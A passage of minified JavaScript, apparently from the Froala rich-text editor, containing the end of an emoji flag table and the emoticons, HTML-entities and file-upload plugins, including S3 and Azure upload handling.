Flag"},{code:"1f1f2-1f1f8",desc:"Montserrat Flag"},{code:"1f1f2-1f1f9",desc:"Malta Flag"},{code:"1f1f2-1f1fa",desc:"Mauritius Flag"},{code:"1f1f2-1f1fb",desc:"Maldives Flag"},{code:"1f1f2-1f1fc",desc:"Malawi Flag"},{code:"1f1f2-1f1fd",desc:"Mexico Flag"},{code:"1f1f2-1f1fe",desc:"Malaysia Flag"},{code:"1f1f2-1f1ff",desc:"Mozambique Flag"},{code:"1f1f3-1f1e6",desc:"Namibia Flag"},{code:"1f1f3-1f1e8",desc:"New Caledonia Flag"},{code:"1f1f3-1f1ea",desc:"Niger Flag"},{code:"1f1f3-1f1eb",desc:"Norfolk Island Flag"},{code:"1f1f3-1f1ec",desc:"Nigeria Flag"},{code:"1f1f3-1f1ee",desc:"Nicaragua Flag"},{code:"1f1f3-1f1f1",desc:"Netherlands Flag"},{code:"1f1f3-1f1f4",desc:"Norway Flag"},{code:"1f1f3-1f1f5",desc:"Nepal Flag"},{code:"1f1f3-1f1f7",desc:"Nauru Flag"},{code:"1f1f3-1f1fa",desc:"Niue Flag"},{code:"1f1f3-1f1ff",desc:"New Zealand Flag"},{code:"1f1f4-1f1f2",desc:"Oman Flag"},{code:"1f1f8-1f1ff",desc:"Swaziland Flag"},{code:"1f1f5-1f1e6",desc:"Panama Flag"},{code:"1f1f5-1f1ea",desc:"Peru Flag"},{code:"1f1f5-1f1eb",desc:"French Polynesia Flag"},{code:"1f1f5-1f1ec",desc:"Papua New Guinea Flag"},{code:"1f1f5-1f1ed",desc:"Philippines Flag"},{code:"1f1f5-1f1f0",desc:"Pakistan Flag"},{code:"1f1f5-1f1f1",desc:"Poland Flag"},{code:"1f1f5-1f1f2",desc:"St. Pierre & Miquelon Flag"},{code:"1f1f5-1f1f3",desc:"Pitcairn Islands Flag"},{code:"1f1f5-1f1f7",desc:"Puerto Rico Flag"},{code:"1f1f5-1f1f8",desc:"Palestinian Territories Flag"},{code:"1f1f5-1f1f9",desc:"Portugal Flag"},{code:"1f1f5-1f1fc",desc:"Palau Flag"},{code:"1f1f5-1f1fe",desc:"Paraguay Flag"},{code:"1f1f6-1f1e6",desc:"Qatar Flag"},{code:"1f1f7-1f1ea",desc:"R\xe9union Flag"},{code:"1f1f7-1f1f4",desc:"Romania Flag"},{code:"1f1f7-1f1f8",desc:"Serbia Flag"},{code:"1f1f7-1f1fc",desc:"Rwanda Flag"},{code:"1f1f8-1f1e6",desc:"Saudi Arabia Flag"},{code:"1f1f8-1f1e7",desc:"Solomon Islands Flag"},{code:"1f1f8-1f1e8",desc:"Seychelles Flag"},{code:"1f1f8-1f1e9",desc:"Sudan Flag"},{code:"1f1f8-1f1ea",desc:"Sweden Flag"},{code:"1f1f8-1f1ec",desc:"Singapore Flag"},{code:"1f1f8-1f1ee",desc:"Slovenia Flag"},{code:"1f1f8-1f1ed",desc:"St. Helena Flag"},{code:"1f1f8-1f1ef",desc:"Svalbard & Jan Mayen Flag"},{code:"1f1f8-1f1f1",desc:"Sierra Leone Flag"},{code:"1f1f8-1f1f2",desc:"San Marino Flag"},{code:"1f1f8-1f1f3",desc:"Senegal Flag"},{code:"1f1f8-1f1f4",desc:"Somalia Flag"},{code:"1f1f8-1f1f7",desc:"Suriname Flag"},{code:"1f1f8-1f1f8",desc:"South Sudan Flag"},{code:"1f1f8-1f1f9",desc:"S\xe3o Tom\xe9 & Pr\xedncipe Flag"},{code:"1f1f8-1f1fb",desc:"El Salvador Flag"},{code:"1f1f8-1f1fd",desc:"Sint Maarten Flag"},{code:"1f1f8-1f1fe",desc:"Syria Flag"},{code:"1f1f9-1f1e6",desc:"Tristan Da Cunha Flag"},{code:"1f1f9-1f1e8",desc:"Turks & Caicos Islands Flag"},{code:"1f1f9-1f1eb",desc:"French Southern Territories Flag"},{code:"1f1f9-1f1ec",desc:"Togo Flag"},{code:"1f1f9-1f1ed",desc:"Thailand Flag"},{code:"1f1f9-1f1ef",desc:"Tajikistan Flag"},{code:"1f1f9-1f1f0",desc:"Tokelau Flag"},{code:"1f1f9-1f1f1",desc:"Timor-Leste Flag"},{code:"1f1f9-1f1f2",desc:"Turkmenistan Flag"},{code:"1f1f9-1f1f3",desc:"Tunisia Flag"},{code:"1f1f9-1f1f4",desc:"Tonga Flag"},{code:"1f1f9-1f1f7",desc:"Turkey Flag"},{code:"1f1f9-1f1f9",desc:"Trinidad & Tobago Flag"},{code:"1f1f9-1f1fb",desc:"Tuvalu Flag"},{code:"1f1f9-1f1fc",desc:"Taiwan Flag"},{code:"1f1f9-1f1ff",desc:"Tanzania Flag"},{code:"1f1fa-1f1e6",desc:"Ukraine City Flag"},{code:"1f1fa-1f1ec",desc:"Uganda Flag"},{code:"1f1fa-1f1f2",desc:"U.s. Outlying Islands Flag"},{code:"1f1fa-1f1fe",desc:"Uruguay Flag"},{code:"1f1fa-1f1ff",desc:"Uzbekistan Flag"},{code:"1f1fb-1f1e6",desc:"Vatican City Flag"},{code:"1f1fb-1f1e8",desc:"St. Vincent & Grenadines Flag"},{code:"1f1fb-1f1ea",desc:"Venezuela Flag"},{code:"1f1fb-1f1ec",desc:"British Virgin Islands Flag"},{code:"1f1fb-1f1ee",desc:"U.s. Virgin Islands Flag"},{code:"1f1fb-1f1f3",desc:"Vietnam Flag"},{code:"1f1fc-1f1f8",desc:"Samoa Flag"},{code:"1f1fb-1f1fa",desc:"Vanuatu Flag"},{code:"1f1fc-1f1eb",desc:'"Wallis & Futuna Flag'},{code:"1f1fd-1f1f0",desc:"Kosovo Flag"},{code:"1f1fe-1f1ea",desc:"Yemen Flag"},{code:"1f1fe-1f1f9",desc:"Mayotte Flag"},{code:"1f1ff-1f1e6",desc:"South Africa Flag"},{code:"1f1ff-1f1f2",desc:"Zambia Flag"},{code:"1f1ff-1f1fc",desc:"Zimbabwe Flag"},{code:"1f1eb-1f1f7",desc:"France Flag"},{code:"1f1ec-1f1e7",desc:"United Kingdom Flag"},{code:"1f1ee-1f1f9",desc:"Italy Flag"},{code:"1f1ef-1f1f5",desc:"Japan Flag"},{code:"1f1f0-1f1f7",desc:"South Korea Flag"},{code:"1f1f7-1f1fa",desc:"Russia Flag"},{code:"1F6A9",desc:"Triangular Flag on Post"},{code:"1f1fa-1f1f8",desc:"United States Flag"}]}],emoticonsButtons:["emoticonsBack","|"],emoticonsUseImage:!0}),kt.PLUGINS.emoticons=function(C){var E=C.$,a=C.opts.emoticonsSet,o=a&&a[0],i="";function s(){if(!C.selection.isCollapsed())return!1;var e=C.selection.element(),t=C.selection.endElement();if(e&&C.node.hasClass(e,"fr-emoticon"))return e;if(t&&C.node.hasClass(t,"fr-emoticon"))return t;var n=C.selection.ranges(0),r=n.startContainer;if(r.nodeType==Node.ELEMENT_NODE&&0<r.childNodes.length&&0<n.startOffset){var a=r.childNodes[n.startOffset-1];if(C.node.hasClass(a,"fr-emoticon"))return a}return!1}function l(){return"".concat(function r(e,t){return'<div class="fr-buttons fr-tabs fr-tabs-scroll">\n '.concat(function n(e,r){var a="";return e.forEach(function(e){var t={image:e.code.toLowerCase()},n={elementClass:e.id===r.id?"fr-active fr-active-tab":"",emoticonsUnicodeClass:C.opts.emoticonsUseImage?"":"fr-tabs-unicode",title:C.language.translate(e.name),dataCmd:"setEmoticonCategory",dataParam1:e.id,image:C.opts.emoticonsUseImage?'<img src="https://cdnjs.cloudflare.com/ajax/libs/emojione/2.0.1/assets/svg/'.concat(t.image,'.svg"/>'):"&#x".concat(t.image,";")};a+='<button class="fr-command fr-btn '.concat(n.elementClass," ").concat(n.emoticonsUnicodeClass,'" \n title="').concat(n.title,'" data-cmd="').concat(n.dataCmd,'" data-param1="').concat(n.dataParam1,'">\n ').concat(n.image," </button>")}),a}(e,t),"\n </div>")}(a,o),"\n ").concat(function n(e){return'\n <div class="fr-icon-container fr-emoticon-container">\n '.concat(function t(e){var a="";return e.emoticons.forEach(function(e){var t=e.code.split("-").reduce(function(e,t){return e?"".concat(e,"‍&#x").concat(t.toLowerCase(),";"):"&#x".concat(t.toLowerCase(),";")},""),n={image:e.code.toLowerCase(),compiledCode:e.uCode?e.uCode:t},r={dataParam1:e.code.toLowerCase(),dataParam2:n.compiledCode,title:C.language.translate(e.desc),image:C.opts.emoticonsUseImage?'<img src="https://cdnjs.cloudflare.com/ajax/libs/emojione/2.0.1/assets/svg/'.concat(n.image,'.svg"/>'):"".concat(n.compiledCode),desc:C.language.translate(e.desc)};a+='<span class="fr-command fr-emoticon fr-icon" role="button" \n data-cmd="insertEmoticon" data-param1="'.concat(r.dataParam1,'" tabindex="0"\n data-param2="').concat(r.dataParam2,'" title="').concat(r.title,'" >\n ').concat(r.image,'<span class="fr-sr-only">').concat(r.desc," </span></span>")}),a}(e),"\n </div>\n ")}(o),"\n ").concat(function e(){return C.opts.emoticonsUseImage?'<p style="font-size: 12px; text-align: center; padding: 0 5px;">Emoji free by <a class="fr-link" tabIndex="-1" href="http://emojione.com/" target="_blank" rel="nofollow noopener noreferrer" role="link" aria-label="Open Emoji One website.">Emoji One</a></p>':""}())}return{_init:function e(){var n=function n(){for(var e=C.el.querySelectorAll(".fr-emoticon:not(.fr-deletable)"),t=0;t<e.length;t++)e[t].className+=" fr-deletable"};n(),C.events.on("html.set",n),C.events.on("keydown",function(e){if(C.keys.isCharacter(e.which)&&C.selection.inEditor()){var t=C.selection.ranges(0),n=s();C.node.hasClass(n,"fr-emoticon-img")&&n&&(0===t.startOffset&&C.selection.element()===n?E(n).before(kt.MARKERS+kt.INVISIBLE_SPACE):E(n).after(kt.INVISIBLE_SPACE+kt.MARKERS),C.selection.restore())}}),C.events.on("keyup",function(e){for(var t=C.el.querySelectorAll(".fr-emoticon"),n=0;n<t.length;n++)"undefined"!=typeof t[n].textContent&&0===t[n].textContent.replace(/\u200B/gi,"").length&&E(t[n]).remove();if(!(e.which>=kt.KEYCODE.ARROW_LEFT&&e.which<=kt.KEYCODE.ARROW_DOWN)){var r=s();C.node.hasClass(r,"fr-emoticon-img")&&(E(r).append(kt.MARKERS),C.selection.restore())}})},insert:function c(e,t){var n=s(),r=C.selection.ranges(0);n?(0===r.startOffset&&C.selection.element()===n?E(n).before(kt.MARKERS+kt.INVISIBLE_SPACE):0<r.startOffset&&C.selection.element()===n&&r.commonAncestorContainer.parentNode.classList.contains("fr-emoticon")&&E(n).after(kt.INVISIBLE_SPACE+kt.MARKERS),C.selection.restore(),C.html.insert('<span class="fr-emoticon fr-deletable'.concat(t?" fr-emoticon-img":"",'"').concat(t?' style="background: url('.concat(t,');"'):"",">").concat(t?" ":e,"</span> ").concat(kt.MARKERS),!0)):C.html.insert('<span class="fr-emoticon fr-deletable'.concat(t?" fr-emoticon-img":"",'"').concat(t?' style="background: url('.concat(t,');"'):"",">").concat(t?" ":e,"</span>").concat(kt.INVISIBLE_SPACE),!0)},setEmoticonCategory:function r(t){o=a.filter(function(e){return e.id===t})[0],function n(){C.popups.get("emoticons").html(i+l());var e=C.popups.get("emoticons").children().not(".fr-buttons");C.accessibility.registerPopup("emoticons"),C.accessibility.focusContent(e)}()},showEmoticonsPopup:function d(){var e=C.popups.get("emoticons");if(e||(e=function o(){C.opts.toolbarInline&&0<C.opts.emoticonsButtons.length&&(i='<div class="fr-buttons fr-emoticons-buttons fr-tabs">'.concat(C.button.buildList(C.opts.emoticonsButtons),"</div>"));var e={buttons:i,custom_layer:l()},t=C.popups.create("emoticons",e);return function n(b){C.events.on("popup.tab",function(e){var t=E(e.currentTarget);if(!C.popups.isVisible("emoticons")||!t.is("span, a"))return!0;var n,r,a,o=e.which,i=window.getComputedStyle(b.find(".fr-icon-container")[0]),s=i.getPropertyValue("grid-template-columns").split(" ").length;if(kt.KEYCODE.TAB==o){var l=b.find("span.fr-emoticon");if(t.is(l.first())&&e.shiftKey||t.is("a")&&!e.shiftKey){var c=b.find(".fr-buttons");n=!C.accessibility.focusToolbar(c,!!e.shiftKey)}if(!1!==n){var d=b.find("span.fr-emoticon");d.add(b.find("a.fr-link")),d.add(b.find("button.fr-btn")),r=d.index(t),r=e.shiftKey?((r-1)%d.length+d.length)%d.length:(r+1)%d.length,a=d.get(r),C.events.disableBlur(),a.focus(),n=!1}}else if(kt.KEYCODE.ARROW_UP==o||kt.KEYCODE.ARROW_DOWN==o||kt.KEYCODE.ARROW_LEFT==o||kt.KEYCODE.ARROW_RIGHT==o){if(t.is("span.fr-emoticon")){var f=t.parent().find("span.fr-emoticon");r=f.index(t);var p=s,u=Math.ceil(f.length/p),h=r%p,g=Math.floor(r/p),m=g*p+h,v=u*p;kt.KEYCODE.ARROW_UP==o?m=((m-p)%v+v)%v:kt.KEYCODE.ARROW_DOWN==o?m=(m+p)%v:kt.KEYCODE.ARROW_LEFT==o?m=((m-1)%v+v)%v:kt.KEYCODE.ARROW_RIGHT==o&&(m=(m+1)%v),a=E(f.get(m)),C.events.disableBlur(),a.focus(),n=!1}}else kt.KEYCODE.ENTER==o&&(t.is("a")?t[0].click():C.button.exec(t),n=!1);return!1===n&&(e.preventDefault(),e.stopPropagation()),n},!0)}(t),t}()),!e.hasClass("fr-active")){C.popups.refresh("emoticons"),C.popups.setContainer("emoticons",C.$tb);var t=C.$tb.find('.fr-command[data-cmd="emoticons"]'),n=C.button.getPosition(t),r=n.left,a=n.top;C.popups.show("emoticons",r,a,t.outerHeight()),C.popups.get("emoticons").css("overflow","hidden")}},back:function t(){C.popups.hide("emoticons"),C.toolbar.showInline()}}},kt.DefineIcon("emoticons",{NAME:"smile-o",FA5NAME:"smile",SVG_KEY:"smile"}),kt.RegisterCommand("emoticons",{title:"Emoticons",undo:!1,focus:!0,refreshAfterCallback:!1,popup:!0,callback:function(){this.popups.isVisible("emoticons")?(this.$el.find(".fr-marker").length&&(this.events.disableBlur(),this.selection.restore()),this.popups.hide("emoticons")):this.emoticons.showEmoticonsPopup()},plugin:"emoticons"}),kt.RegisterCommand("insertEmoticon",{callback:function(e,t,n){this.emoticons.insert(n,this.opts.emoticonsUseImage?"https://cdnjs.cloudflare.com/ajax/libs/emojione/2.0.1/assets/svg/".concat(t,".svg"):null),this.popups.hide("emoticons")}}),kt.RegisterCommand("setEmoticonCategory",{undo:!1,focus:!1,callback:function(e,t){this.emoticons.setEmoticonCategory(t)}}),kt.DefineIcon("emoticonsBack",{NAME:"arrow-left",SVG_KEY:"back"}),kt.RegisterCommand("emoticonsBack",{title:"Back",undo:!1,focus:!1,back:!0,refreshAfterCallback:!1,callback:function(){this.emoticons.back()}}),Object.assign(kt.DEFAULTS,{entities:""'¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖרÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿŒœŠšŸƒˆ˜ΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤΥΦΧΨΩαβγδεζηθικλμνξοπρςστυφχψωϑϒϖ   ‌‍‎‏–—‘’‚“”„†‡•…‰′″‹›‾⁄€ℑ℘ℜ™ℵ←↑→↓↔↵⇐⇑⇒⇓⇔∀∂∃∅∇∈∉∋∏∑−∗√∝∞∠∧∨∩∪∫∴∼≅≈≠≡≤≥⊂⊃⊄⊆⊇⊕⊗⊥⋅⌈⌉⌊⌋⟨⟩◊♠♣♥♦"}),kt.PLUGINS.entities=function(a){var o,i,s=a.$;function r(e){var t=e.textContent;if(t.match(o)){for(var n="",r=0;r<t.length;r++)i[t[r]]?n+=i[t[r]]:n+=t[r];e.textContent=n}}function l(e){if(e&&0<=["STYLE","SCRIPT","svg","IFRAME"].indexOf(e.tagName))return!0;for(var t=a.node.contents(e),n=0;n<t.length;n++)t[n].nodeType===Node.TEXT_NODE?r(t[n]):l(t[n]);return e.nodeType===Node.TEXT_NODE&&r(e),!1}var c=function c(e){return 0===e.length?"":a.clean.exec(e,l).replace(/\&/g,"&")};return{_init:function d(){a.opts.htmlSimpleAmpersand||(a.opts.entities="".concat(a.opts.entities,"&"));var e=s(document.createElement("div")).html(a.opts.entities).text(),t=a.opts.entities.split(";");i={},o="";for(var n=0;n<e.length;n++){var r=e.charAt(n);i[r]="".concat(t[n],";"),o+="\\".concat(r+(n<e.length-1?"|":""))}o=new RegExp("(".concat(o,")"),"g"),a.events.on("html.get",c,!0)}}},Object.assign(kt.POPUP_TEMPLATES,{"file.insert":"[_BUTTONS_][_UPLOAD_LAYER_][_PROGRESS_BAR_]"}),Object.assign(kt.DEFAULTS,{fileUpload:!0,fileUploadURL:null,fileUploadParam:"file",fileUploadParams:{},fileUploadToS3:!1,fileUploadToAzure:!1,fileUploadMethod:"POST",fileMaxSize:10485760,fileAllowedTypes:["*"],fileInsertButtons:["fileBack","|"],fileUseSelectedText:!1}),kt.PLUGINS.file=function(y){var r,p=y.$,L="https://i.froala.com/upload",u=2,h=3,g=4,T=5,w=6,n={};function A(){var e=y.popups.get("file.insert");e||(e=l()),e.find(".fr-layer.fr-active").removeClass("fr-active").addClass("fr-pactive"),e.find(".fr-file-progress-bar-layer").addClass("fr-active"),e.find(".fr-buttons").hide(),a(y.language.translate("Uploading"),0)}function o(e){var t=y.popups.get("file.insert");t&&(t.find(".fr-layer.fr-pactive").addClass("fr-active").removeClass("fr-pactive"),t.find(".fr-file-progress-bar-layer").removeClass("fr-active"),t.find(".fr-buttons").show(),e&&(y.events.focus(),y.popups.hide("file.insert")))}function a(e,t){var n=y.popups.get("file.insert");if(n){var r=n.find(".fr-file-progress-bar-layer");r.find("h3").text(e+(t?" ".concat(t,"%"):"")),r.removeClass("fr-error"),t?(r.find("div").removeClass("fr-indeterminate"),r.find("div > span").css("width","".concat(t,"%"))):r.find("div").addClass("fr-indeterminate")}}function m(e,t,n,r){var a;y.edit.on(),y.events.focus(!0),y.selection.restore(),y.opts.fileUseSelectedText&&y.selection.text().length&&(t=y.selection.text());var o='<a href="'.concat(e,'" id="fr-inserted-file" ');if(void 0!==r)for(a in r)r.hasOwnProperty(a)&&"link"!=a&&(o+="".concat(a,'="').concat(r[a],'" '));-1==o.indexOf(' class="')&&(o+='class="fr-file" '),o+=">".concat(t,"</a>"),y.html.insert(o);var i=y.$el.find("#fr-inserted-file");i.removeAttr("id"),y.popups.hide("file.insert"),y.undo.saveStep(),d(),y.events.trigger("file.inserted",[i,n])}function _(e,t,n){var r=this.status,a=this.response,o=this.responseXML,i=this.responseText;try{if(y.opts.fileUploadToS3||y.opts.fileUploadToAzure)if(201===r){var s;if(y.opts.fileUploadToAzure){if(!1===y.events.trigger("file.uploadedToAzure",[this.responseURL,n,a],!0))return y.edit.on(),!1;s=t}else s=function c(e){try{var t=p(e).find("Location").text(),n=p(e).find("Key").text();return!1===y.events.trigger("file.uploadedToS3",[t,n,e],!0)?(y.edit.on(),!1):t}catch(r){return x(g,e),!1}}(o);s&&m(s,e,a||o)}else x(g,a||o);else if(200<=r&&r<300){var l=function d(e){try{if(!1===y.events.trigger("file.uploaded",[e],!0))return y.edit.on(),!1;var t=JSON.parse(e);return t.link?t:(x(u,e),!1)}catch(n){return x(g,e),!1}}(i);l&&m(l.link,e,a||i,l)}else x(h,a||i)}catch(f){x(g,a||i)}}function S(){x(g,this.response||this.responseText||this.responseXML)}function k(e){if(e.lengthComputable){var t=e.loaded/e.total*100|0;a(y.language.translate("Uploading"),t)}}function x(e,t){y.edit.on(),function r(e){A();var t=y.popups.get("file.insert").find(".fr-file-progress-bar-layer");t.addClass("fr-error");var n=t.find("h3");n.text(e),y.events.disableBlur(),n.focus()}(y.language.translate("Something went wrong. Please try again.")),y.events.trigger("file.error",[{code:e,message:n[e]},t])}function R(){y.edit.on(),o(!0)}function i(e){if(void 0!==e&&0<e.length){var t=e[0].type;if(e[0].name&&e[0].name.endsWith(".msg")&&(t="application/vnd.ms-outlook"),!1===y.events.trigger("file.beforeUpload",[e]))return!1;var n,r=e[0];if(!(null!==y.opts.fileUploadURL&&y.opts.fileUploadURL!==L||y.opts.fileUploadToS3||y.opts.fileUploadToAzure))return function E(o){var i=new FileReader;i.onload=function(){for(var e=i.result,t=atob(i.result.split(",")[1]),n=[],r=0;r<t.length;r++)n.push(t.charCodeAt(r));var a=o.type;o.name&&o.name.endsWith(".msg")&&(a="application/vnd.ms-outlook"),e=window.URL.createObjectURL(new Blob([new Uint8Array(n)],{type:a})),y.file.insert(e,o.name,null)},A(),i.readAsDataURL(o)}(r),!1;if(r.size>y.opts.fileMaxSize)return x(T),!1;if(y.opts.fileAllowedTypes.indexOf("*")<0&&y.opts.fileAllowedTypes.indexOf(t.replace(/file\//g,""))<0)return x(w),!1;if(y.drag_support.formdata&&(n=y.drag_support.formdata?new FormData:null),n){var a;if(!1!==y.opts.fileUploadToS3)for(a in n.append("key",y.opts.fileUploadToS3.keyStart+(new Date).getTime()+"-"+(r.name||"untitled")),n.append("success_action_status","201"),n.append("X-Requested-With","xhr"),n.append("Content-Type",t),y.opts.fileUploadToS3.params)y.opts.fileUploadToS3.params.hasOwnProperty(a)&&n.append(a,y.opts.fileUploadToS3.params[a]);for(a in y.opts.fileUploadParams)y.opts.fileUploadParams.hasOwnProperty(a)&&n.append(a,y.opts.fileUploadParams[a]);n.append(y.opts.fileUploadParam,r);var o,i,s=y.opts.fileUploadURL;y.opts.fileUploadToS3&&(s=y.opts.fileUploadToS3.uploadURL?y.opts.fileUploadToS3.uploadURL:"https://".concat(y.opts.fileUploadToS3.region,".amazonaws.com/").concat(y.opts.fileUploadToS3.bucket));var l=y.opts.fileUploadMethod;y.opts.fileUploadToAzure&&(s=y.opts.fileUploadToAzure.uploadURL?"".concat(y.opts.fileUploadToAzure.uploadURL,"/").concat(r.name):encodeURI("https://".concat(y.opts.fileUploadToAzure.account,".blob.core.windows.net/").concat(y.opts.fileUploadToAzure.container,"/").concat(r.name)),o=s,y.opts.fileUploadToAzure.SASToken&&(s+=y.opts.fileUploadToAzure.SASToken),l="PUT");var c=y.core.getXHR(s,l);if(y.opts.fileUploadToAzure){var d=(new Date).toUTCString();if(!y.opts.fileUploadToAzure.SASToken&&y.opts.fileUploadToAzure.accessKey){var f=y.opts.fileUploadToAzure.account,p=y.opts.fileUploadToAzure.container;if(y.opts.fileUploadToAzure.uploadURL){var u=y.opts.fileUploadToAzure.uploadURL.split("/");p=u.pop(),f=u.pop().split(".")[0]}var h="x-ms-blob-type:BlockBlob\nx-ms-date:".concat(d,"\nx-ms-version:2019-07-07"),g=encodeURI("/"+f+"/"+p+"/"+r.name),m=l+"\n\n\n"+r.size+"\n\n"+t+"\n\n\n\n\n\n\n"+h+"\n"+g,v=y.cryptoJSPlugin.cryptoJS.HmacSHA256(m,y.cryptoJSPlugin.cryptoJS.enc.Base64.parse(y.opts.fileUploadToAzure.accessKey)).toString(y.cryptoJSPlugin.cryptoJS.enc.Base64),b="SharedKey "+f+":"+v;i=v,c.setRequestHeader("Authorization",b)}for(a in c.setRequestHeader("x-ms-version","2019-07-07"),c.setRequestHeader("x-ms-date",d),c.setRequestHeader("Content-Type",t),c.setRequestHeader("x-ms-blob-type","BlockBlob"),y.opts.fileUploadParams)y.opts.fileUploadParams.hasOwnProperty(a)&&c.setRequestHeader(a,y.opts.fileUploadParams[a]);for(a in y.opts.fileUploadToAzure.params)y.opts.fileUploadToAzure.params.hasOwnProperty(a)&&c.setRequestHeader(a,y.opts.fileUploadToAzure.params[a])}c.onload=function(){_.call(c,r.name,o,i)},c.onerror=S,c.upload.onprogress=k,c.onabort=R,A();var C=y.popups.get("file.insert");C&&(C.off("abortUpload"),C.on("abortUpload",function(){4!==c.readyState&&c.abort()})),c.send(y.opts.fileUploadToAzure?r:n)}}}function s(){o()}function l(e){if(e)return y.popups.onHide("file.insert",s),!0;var t;y.opts.fileUpload||y.opts.fileInsertButtons.splice(y.opts.fileInsertButtons.indexOf("fileUpload"),1),t='<div class="fr-buttons fr-tabs">'.concat(y.button.buildList(y.opts.fileInsertButtons),"</div>");var n="";y.opts.fileUpload&&(n='<div class="fr-file-upload-layer fr-layer fr-active" id="fr-file-upload-layer-'.concat(y.id,'"><strong>').concat(y.language.translate("Drop file"),"</strong><br>(").concat(y.language.translate("or click"),')<div class="fr-form"><input type="file" name="').concat(y.opts.fileUploadParam,'" accept="').concat(0<=y.opts.fileAllowedTypes.indexOf("*")?"/":"").concat(y.opts.fileAllowedTypes.join(", ").toLowerCase(),'" tabIndex="-1" aria-labelledby="fr-file-upload-layer-').concat(y.id,'" role="button"></div></div>'));var r={buttons:t,upload_layer:n,progress_bar:'<div class="fr-file-progress-bar-layer fr-layer"><h3 tabIndex="-1" class="fr-message">Uploading</h3><div class="fr-loader"><span class="fr-progress"></span></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-dismiss" data-cmd="fileDismissError" tabIndex="2" role="button">OK</button></div></div>'},a=y.popups.create("file.insert",r);return function o(n){y.events.$on(n,"dragover dragenter",".fr-file-upload-layer",function(){return p(this).addClass("fr-drop"),!1},!0),y.events.$on(n,"dragleave dragend",".fr-file-upload-layer",function(){return p(this).removeClass("fr-drop"),!1},!0),y.events.$on(n,"drop",".fr-file-upload-layer",function(e){e.preventDefault(),e.stopPropagation(),p(this).removeClass("fr-drop");var t=e.originalEvent.dataTransfer;t&&t.files&&(n.data("instance")||y).file.upload(t.files)},!0),y.helpers.isIOS()&&y.events.$on(n,"touchstart",'.fr-file-upload-layer input[type="file"]',function(){p(this).trigger("click")}),y.events.$on(n,"change",'.fr-file-upload-layer input[type="file"]',function(){if(this.files){var e=n.data("instance")||y;e.events.disableBlur(),n.find("input:focus").blur(),e.events.enableBlur(),e.file.upload(this.files)}p(this).val("")},!0)}(a),a}function t(e){y.node.hasClass(e,"fr-file")}function c(e){var t=e.originalEvent.dataTransfer;if(t&&t.files&&t.files.length){var n=t.files[0];if(n&&"undefined"!=typeof n.type){if(n.type.indexOf("image")<0){if(!y.opts.fileUpload)return e.preventDefault(),e.stopPropagation(),!1;y.markers.remove(),y.markers.insertAtPoint(e.originalEvent),y.$el.find(".fr-marker").replaceWith(kt.MARKERS),y.popups.hideAll();var r=y.popups.get("file.insert");return r||(r=l()),y.popups.setContainer("file.insert",y.$sc),y.popups.show("file.insert",e.originalEvent.pageX,e.originalEvent.pageY),A(),i(t.files),e.preventDefault(),e.stopPropagation(),!1}}else n.type.indexOf("image")<0&&(e.preventDefault(),e.stopPropagation())}}function d(){var e,t=Array.prototype.slice.call(y.el.querySelectorAll("a.fr-file")),n=[];for(e=0;e<t.length;e++)n.push(t[e].getAttribute("href"));if(r)for(e=0;e<r.length;e++)n.indexOf(r[e].getAttribute("href"))<0&&y.events.trigger("file.unlink",[r[e]]);r=t}return n[1]="File cannot be loaded from the passed link.",n[u]="No link in upload response.",n[h]="Error during file upload.",n[g]="Parsing response failed.",n[T]="File is too large.",n[w]="File file type is invalid.",n[7]="Files can be uploaded only to same domain in IE 8 and IE 9.",{_init:function f(){!function e(){y.events.on("drop",c),y.events.$on(y.$win,"keydown",function(e){var t=e.which,n=y.popups.get("file.insert");n&&t===kt.KEYCODE.ESC&&n.trigger("abortUpload")}),y.events.on("destroy",function(){var e=y.popups.get("file.insert");e&&e.trigger("abortUpload")})}(),y.events.on("link.beforeRemove",t),y.$wp&&(d(),y.events.on("contentChanged",d)),l(!0)},showInsertPopup:function v(){var e=y.$tb.find('.fr-command[data-cmd="insertFile"]'),t=y.popups.get("file.insert");if(t||(t=l()),o(),!t.hasClass("fr-active"))if(y.popups.refresh("file.insert"),y.popups.setContainer("file.insert",y.$tb),e.isVisible){var n=y.button.getPosition(e),r=n.left,a=n.top;y.popups.show("file.insert",r,a,e.outerHeight())}else y.position.forSelection(t),y.popups.show("file.insert")},upload:i,insert:m,back:function e(){y.events.disableBlur(),y.selection.restore(),y.events.enableBlur(),y.popups.hide("file.insert"),y.toolbar.showInline()},hideProgressBar:o}},kt.DefineIcon("insertFile",{NAME:"file-o",FA5NAME:"file",SVG_KEY:"insertFile"}),kt.RegisterCommand("insertFile",{title:"Upload File",undo:!1,focus:!0,refreshAfterCallback:!1,popup:!0,callback:function(){this.popups.isVisible("file.insert")?(this.$el.find(".fr-marker").length&&(this.events.disableBlur(),this.selection.restore()),this.popups.hide("file.insert")):this.file.showInsertPopup()},plugin:"file"}),kt.DefineIcon("fileBack",{NAME:"arrow-left",SVG_KEY:"back"}),kt.RegisterCommand("fileBack",{title:"Back",undo:!1,focus:!1,back:!0,refreshAfterCallback:!1,callback:function(){this.file.back()},refresh:function(e){this.opts.toolbarInline?(e.removeClass("fr-hidden"),e.next(".fr-separator").removeClass("fr-hidden")):(e.addClass("fr-hidden"),e.next(".fr-separator").addClass("fr-hidden"))}}),kt.RegisterCommand("fileDismissError",{title:"OK",callback:function(){this.file.hideProgressBar(!0)}}),Object.assign(kt.POPUP_TEMPLATES,{"filesManager.insert":"[_BUTTONS_][_UPLOAD_LAYER_][_BY_URL_LAYER_][_EMBED_LAYER_][_UPLOAD_PROGRESS_LAYER_][_PROGRESS_BAR_]","image.edit":"[_BUTTONS_]","image.alt":"[_BUTTONS_][_ALT_LAYER_]","image.size":"[_BUTTONS_][_SIZE_LAYER_]"}),Object.assign(kt.DEFAULTS,{filesInsertButtons:["imageBack","|","filesUpload","filesByURL","filesEmbed"],filesInsertButtons2:["deleteAll","insertAll","cancel","minimize"],imageEditButtons:["imageReplace","imageAlign","imageCaption","imageRemove","imageLink","linkOpen","linkEdit","linkRemove","-","imageDisplay","imageStyle","imageAlt","imageSize"],imageAltButtons:["imageBack","|"],imageSizeButtons:["imageBack","|"],imageUpload:!0,filesManagerUploadURL:null,imageCORSProxy:"https://cors-anywhere.froala.com",imageUploadRemoteUrls:!0,filesManagerUploadParam: